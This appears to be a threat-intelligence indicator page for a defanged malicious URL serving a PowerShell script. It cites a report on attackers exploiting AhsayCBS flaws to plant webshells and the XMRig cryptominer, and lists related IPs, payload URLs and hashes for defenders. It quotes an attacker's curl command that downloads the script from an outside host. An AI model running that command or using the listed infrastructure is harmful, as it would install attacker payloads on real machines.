hxxp://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com/javas/Office/win/Taskgmr.ps1URL
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 16 days ago
What the reports say
1 report, newest first · the exact sentence from each-
Threat Actors Exploit Critical AhsayCBS Flaws to Drop Webshells and XMRig Cryptominer“curl -sk -o "C:\Users\ADMINI~1\AppData\Local\Temp\Taskgmr.ps1" "hxxp://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com/javas/Office/win/Taskgmr.ps1" --max-time 60”
Indicators reported together
named in the same reports- 177.4.12[.]11in 1 report
- apistructsaction[.]javain 1 report
- updatereceivers[.]doin 1 report
- 51.195.127[.]124in 1 report
- 38.60.252[.]110in 1 report
- 107.191.47[.]199in 1 report
- 185.220.236[.]49in 1 report
- 104.234.26[.]10in 1 report
- 123.202.208[.]37in 1 report
- hxxp://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com/javas/Office/win/edge.exein 1 report
- hxxp://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com/javas/Office/win/msedge.exein 1 report
- hxxp://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com/javas/Office/win/config.jsonin 1 report
- hxxp://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com/javas/Office/win/WinRing0x64.sysin 1 report
- 05f69ae6b2b89c1c…045d06139034in 1 report
- 4dcb0202fe8b2d4d…f4bce1dd6f3din 1 report
- 481728a7c9c4c02b…4818e3d25d21in 1 report
Copy these 16 indicators · defanged
Also named with it: CVE-2026-105133, CVE-2026-105134
Thanks — we review every report.